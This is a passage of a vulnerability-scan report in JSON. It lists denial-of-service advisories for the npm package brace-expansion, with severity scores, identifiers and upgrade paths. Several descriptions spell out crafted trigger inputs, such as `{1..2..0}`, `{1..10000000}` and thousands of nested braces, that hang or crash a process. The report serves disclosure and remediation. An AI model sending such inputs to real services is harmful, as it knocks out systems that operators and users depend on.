"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": 